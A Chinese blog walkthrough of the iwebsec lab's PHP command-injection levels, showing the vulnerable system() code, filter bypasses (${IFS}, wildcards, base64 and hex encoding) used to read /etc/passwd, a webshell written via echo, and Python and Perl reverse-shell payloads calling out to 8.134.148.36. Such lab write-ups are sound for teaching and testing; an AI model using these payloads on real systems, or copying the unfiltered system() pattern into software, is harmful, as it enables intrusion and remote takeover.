文章目录
1 靶场环境
这是 iwebsec 靶场,具体搭建过程可以看前面的文章。
2 命令执行漏洞介绍
应用程序有时需要调用一些执行系统命令的函数,如在PHP中,使用system、exec、shell_exec、passthru、popen、proc_popen等函数执行系统命令。当黑客能控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常的命令中,从而造成命令执行攻击,这就是命令执行漏洞。【摘自《web安全攻防》】
Windows系统支持的管道符:
管道符 | 作用 | 举例 |
---|---|---|
| | 直接执行后面的命令。 | |
|| | 前面执行的命令执行出错才执行后面的语句。 | |
& | 前面的语句无论真假都可以执行后面的语句。(无条件执行后面的语句,推荐使用。) | |
&& | 前面语句为真才能执行后面的语句。 |
Linux系统支持的管道符:
管道符 | 作用 | 举例 |
---|---|---|
| | 显示后面语句的执行结果。 | |
; | 执行完前面的语句再执行后面的。 | |
|| | 前面语句执行错误才执行后面的语句。 | |
& | 前面语句无论真假都会执行后面的语句。(无条件执行后面的语句,推荐使用。) | |
&& | 前面的语句为真才能执行后面的语句。 |
3 靶场练习
01-命令执行漏洞
打开靶场,直接测试。使用|
。
使用;
。
使用||
。
使用cat
命令获取文件。
看网页源码,发现cat
到文件源码。
获取/etc/passwd
文件。
命令执行漏洞代码分析
服务端处理 ping ,程序获取GET参数IP,然后拼接到system() 函数中,利用 system() 函数执行ping的功能,但此处没有对参数IP做过滤和检测,导致可以利用管道符执行其他的系统命令。
require_once('../header.php');?><html><head><title>命令执行漏洞</title></head><h2>命令执行漏洞</h2><div class="alert alert-success"><p>/01.php?ip=127.0.0.1 </p></div><body><?phpif(isset($_GET['ip'])){ $ip = $_GET['ip'];//用户可以控制 system("ping -c 2 ".$ip);//system系统命令,没有限制}else{exit();}?>
02-命令执行漏洞空格绕过
过滤了空格,可以去掉空格。
管道符两边的空格可以去除。但是有些是不能去除的,比如cat /ect/passwd
,我们可以想办法绕过空格:
-
使用
%09
,%09
是tab键的url编码。
-
使用
<
,<
表示的是输入重定向的意思,就是把<
后面跟的文件取代键盘作为新的输入设备。“命令 < 文件” ,这是将文件作为命令输入。
-
使用
{}
,用,
实现空格可能。
-
使用
${IFS}
-
使用
$IFS$9
源码分析
if(isset($_GET['ip'])){if (preg_match('/ /', $_GET['ip'])) { //匹配空格 die('error!!!');}else{$ip = $_GET['ip'];} system("ping -c 2 ".$ip);}else{exit();}?>
03-命令执行漏洞关键命令绕过
- 使用常规绕过
- 非常规操作
其他的试了,不行。我用自己的Linux系统试试:
- 使用符号及拼接:
源码分析
if(isset($_GET['ip'])){if (preg_match('/cat/', $_GET['ip'])) { //过滤了cat die('error!!!');}else{$ip = $_GET['ip'];} system("ping -c 2 ".$ip);}else{exit();}?>
04-命令执行漏洞通配符绕过
if(isset($_GET['ip'])){if (preg_match('/etc|passwd/', $_GET['ip'])) { die('error!!!');}else{$ip = $_GET['ip'];} system("ping -c 2 ".$ip);}else{exit();}?>
看源码只是过滤了/etc/passwd
文件,读取其他文件是没有问题的:
但我就是要读取/etc/passwd
文件呢?
- 可以使用通配符绕过:
通配符是一种特殊语句,主要有星号(*)和问号(?),用来模糊搜索文件。当查找文件夹时,可以使用它来代替一个或多个真正字符;当不知道真正字符或者懒得输入完整名字时,常常使用通配符代替一个或多个真正的字符。 【百度百科】
- 使用符号及拼接:
05-命令执行漏洞base64编码绕过
直接就可以RCE,看一下源码:
if(isset($_GET['ip'])){if (preg_match('/id/', $_GET['ip'])) { die('error!!!');}else{$ip = $_GET['ip'];} system("ping -c 2 ".$ip);}else{exit();}?>
过滤了id
这个关键字,Linux id
命令用于显示用户的ID,以及所属群组的ID。
使用base64编码绕过:
echo aWQ= | base64 -d
第一个例子直接输出为id
,第二个例子加了反引号`
则会执行输出的内容,即执行命令id
。
除了base64,我们可以使用hex编码:
ip=127.0.0.1 | echo "6964" | xxd -r -p | baship=127.0.0.1 | `echo "6964" | xxd -r -p`
第一句直接输出id
,第二句将输出的内容传进bash
执行。也可以不用bash
执行,直接用反引号执行。
读取/etc/passwd
文件:
4 命令执行漏洞危害
以第一关的环境为例,进行下面的实验。
01-读写系统文件
02-执行系统命令
使用touch
命令新建一个文件
pwd
查看当前目录的位置
使用find
命令搜索符合条件的文件
显示指定目录下所有目录和文件,包括隐藏文件
03-种植恶意木马
写入一句话木马
?ip=127.0.0.1|echo '' >2.php
连接一句话木马
用蚁剑连接
04-反弹shell
RCE/命令执行漏洞反弹shell小结。这里使用第三关环境,第一关被我改坏了。
我用bash
反弹,一直写不进去,但是一句话木马又可以写入,按照源码只是对cat
进行过滤而已,应该没有过滤其他东西了。试着把反弹shell逐个拆开写进去:
那应该是不能有&
,所以bash
和php
的反弹shell语句都用不了。而python
的反弹shell语句刚好没有:
python反弹shell
注入点:127.0.0.1|python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("8.134.148.36",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'监听点:nc -lvp 7777
perl反弹shell
注入点:127.0.0.1|perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"8.134.148.36:6666");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'监听点:nc -lvp 6666
来源地址:https://blog.csdn.net/weixin_52116519/article/details/129061132